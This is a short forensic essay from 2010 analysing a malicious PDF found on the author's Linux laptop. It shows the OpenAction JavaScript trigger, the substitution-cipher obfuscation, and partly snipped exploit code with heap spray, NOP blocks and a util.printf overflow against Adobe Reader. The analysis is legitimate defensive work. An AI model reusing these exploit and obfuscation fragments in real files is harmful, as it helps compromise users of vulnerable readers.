Forensic PDF Analysis

Paul Boin, RHCE

February 13, 2010

This essay is a forensic analysis of malware recently found on the author's Linux notebook. The timing was fortunate because these incidents are rare on Linux operating systems.[1]

1 Backstory

Like most technologists, the author frequently tries new software and keeps current with the industry. Of particular interest is the Chrome web browser from Google. This application seems to be progressing well, but is still 'beta' software. It saves files to a default location, ' /Downloads' in the user's home directory. While doing system maintenance, an unusual PDF was found there. It appeared to be malicious, since standard PDF viewers (run as a restricted testing user) had trouble processing the file. What follows is the deconstruction of that document and an analysis of its function.

2 Analysis

The file is rather small, only 5683 bytes. The average PDF on this particular computer is 966 KB. The smallest PDF other than this one is 11349 bytes — almost twice the size. Even without further analysis, this makes the file unusual.

```
$ ls -al bh.pdf
-rw-r--r--. 1 pboin pboin  5683 2009-10-14 19:05 bh.pdf

$ md5sum bh.pdf
ecb4bae1333d109675e6c78cd3b85f47  bh.pdf
```

The next step for analysis was to use an editor to view the file contents. They seem somewhat suspicious:

[1]The only other incident over several years of Linux computing was minor. Debian had a guest account enabled by default and someone used it. They could have read files on the system marked world-readable. This event was a result of poor practice, since the software was working exactly as designed and configured.

```
%PDF-1.3
1 0 obj
<</OpenAction <</JS (this.KjJeews\(\))
/S /JavaScript
>>
<-- snip -->
13 0 obj
<</Filter /FlateDecode
/Length 4182
>>
stream
x<9c>]Ys^[^Q~`*%<90>L<8e>
...
```

Line two of the above snippet indicates that a JavaScript event is to fire on the open event. That doesn't prove malicious intent, but this attack class is very common at the moment (Keizer, 2009). There is also compressed object in the PDF. This is not proof of malicious behavior, but compression is a frequently-used obfuscation technique. The PDF toolkit can read a compressed document and write its uncompressed version.

```
pdftk bh.pdf output bh.unc.pdf uncompress
```

When viewing the uncompressed version of the file, the first evidence of intentional obfuscation comes to light. The JavaScript code contains one variable that holds many instances of eight capital letters in a row. This variable is then acted upon by a series of replacements, a poor man's substitution cipher.

```
var nourt=" OTYLKROT  OTYUKROT a OTYEKROT  pa OTYPKROT \
      l OTYNKROT a OTYZKROT  =  OTYQKROT  OTYRKROT \
      e OTYAKROT  OTYVKROT ape( OTYFKROT % OTYQKROT  \
      OTYCKRO...
<-- snip -->
nourt = nourt.replace(/ OTYMKROT /g,'q');
nourt = nourt.replace(/ OTYGKROT /g,'i');
nourt = nourt.replace(/ OTYZKROT /g,'d');
lupil(nourt);
...
```

JavaScript doesn't offer a shell, so local execution for research is difficult. To decipher variable 'nourt', the contents were extracted into a Bash shell script, and the same substitutions were made in the same order.

```
sed -i 's~ OTYMKROT ~q~g' $tmpfile;
sed -i 's~ OTYGKROT ~i~g' $tmpfile;
```

That variable decrypted to another JavaScript, this time with references to payloads and specific Adobe vulnerabilities.

```
var payload = unescape("%u0A0A%<snip obfuscated payload");
//-------
var memory;
function New_Script(payload)
{
//var payload;
//if(adobe9)//adobe reader 8 works also with app.setTimeOut?
//var startwith = app.alert('Hi');//required for adobe9
 var nop = unescape("\%u9090\%u9090");
 var shellcode = payload;
<-- snip -->
//start exploit now
start();
<-- snip -->
//var payload;
nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
heapblock = nop + payload;
bigblock = unescape("%u0A0A%u0A0A");
<-- snip -->
var num = 12999<--snip *very* long integer -->88888;
util.printf("%45000f",num);
}
<-- snip -->
if (version >= 9) {
//var payload;
New_Script(payload);
}
```

Research indicates that this document resulted from a common malware wrapper kit that allows an attacker to bundle the payload of their choice into a pre-written stack of obfuscation and an exploit framework (carnal0wnage, 2009). This work also seems to parallel deconstruction by many other researchers, strengthening the case that it is not a targeted attack (Hong10, 2009).

3 Classification

For correlation with other incidents, this event will be classified using a common taxonomy (Howard, 1998).

Attacker	Hackers (Via malicious active code in a web browser.)
Tool	Script or Program (JavaScript in Adobe PDF)
Vulnerability	Implementation. (Core vulnerability is a buffer overflow in Adobe Reader.)
Action	Varies, depending on payload.
Target	Varies, depending on payload. Frequent usage is for attacked machine to join botnet.
Unauthorized result	Varies, depending on payload. Would likely include 'increased access' and 'theft of resources.'
Objectives	If the botnet presumption is true, the objective of this attack is 'financial gain', since botnets are typically used in for-pay distributed computing and spam transmission.

4 Conclusion

A full analysis requires more time and resource than the parameters for this paper will allow, but it would be a fascinating exercise. The open question is how the PDF arrived in the first place. Filesystem timestamps indicate that it may have been injected via a malicious Flash object. (Another Adobe package plagued with vulnerabilities lately.)

This class of malware attack seems to be rampant. The investigation and background research supports the case that the attack was not targeted. The system on which it was found is a low-value computer. That computer runs several PDF browsers (which have no JavaScript capability) and the Adobe branded reader (which has JavaScript explicitly disabled). For these reasons, this author believes that user-level privileges were not gained by the attack, and therefore root-level wasn't gained either. The computer will remain in production. In a professional environment, the assessed risk would certainly be much greater. This would probably result in a formal investigation, leading to a final conclusion.

5 References

carnal0wnage. (March, 2009). PDF Exploits now with Heapspray. Retrieved from `http://carnal0wnage.blogspot.com/2009/03/pdf-exploits-now-with-heapspray.html`

Hong10. (August, 2009). hong10.net. Analyzing malicious PDF documents. Retrieved from `http://hong10.net/?p=68`

Howard, J. & Longstaff, T. (1998). A Common Language for Computer Security Incidents. Albuquerque, NM: Sandia National Laboratory.

Keizer, G. (December 15, 2009). Computerworld. Kill JavaScript in Adobe Reader to ward off zero-day exploit, experts urge. Retrieved from `http://www.computerworld.com/s/article/9142326/Kill_JavaScript_in_Adobe_Reader_to_ward_off_zero_day_exploit_experts_urge`